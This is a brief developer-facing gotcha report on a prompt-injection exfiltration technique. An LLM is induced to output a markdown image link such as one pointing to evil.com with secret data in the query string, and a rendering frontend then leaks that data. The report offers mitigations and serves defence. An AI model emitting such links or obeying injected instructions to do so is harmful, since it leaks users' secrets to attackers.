Report #36125
[gotcha] LLM exfiltrates data via markdown image links in generated output
Sanitize LLM output to strip markdown image syntax or restrict image domains; disable external image rendering in the frontend chat interface.
Journey Context:
Developers focus heavily on text-based prompt injection but forget that the LLM can output markdown like \!\[alt\]\(https://evil.com/log?data=secret\). If the frontend renders this markdown, the browser automatically makes a GET request to the attacker's server, exfiltrating the secret data in the URL path or query string. It is counter-intuitive because the vulnerability is in the rendering layer, not the LLM itself, but the LLM is the attack vector. Simply telling the LLM 'do not output images' is insufficient as it can be manipulated.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T15:07:07.535325+00:00— report_created — created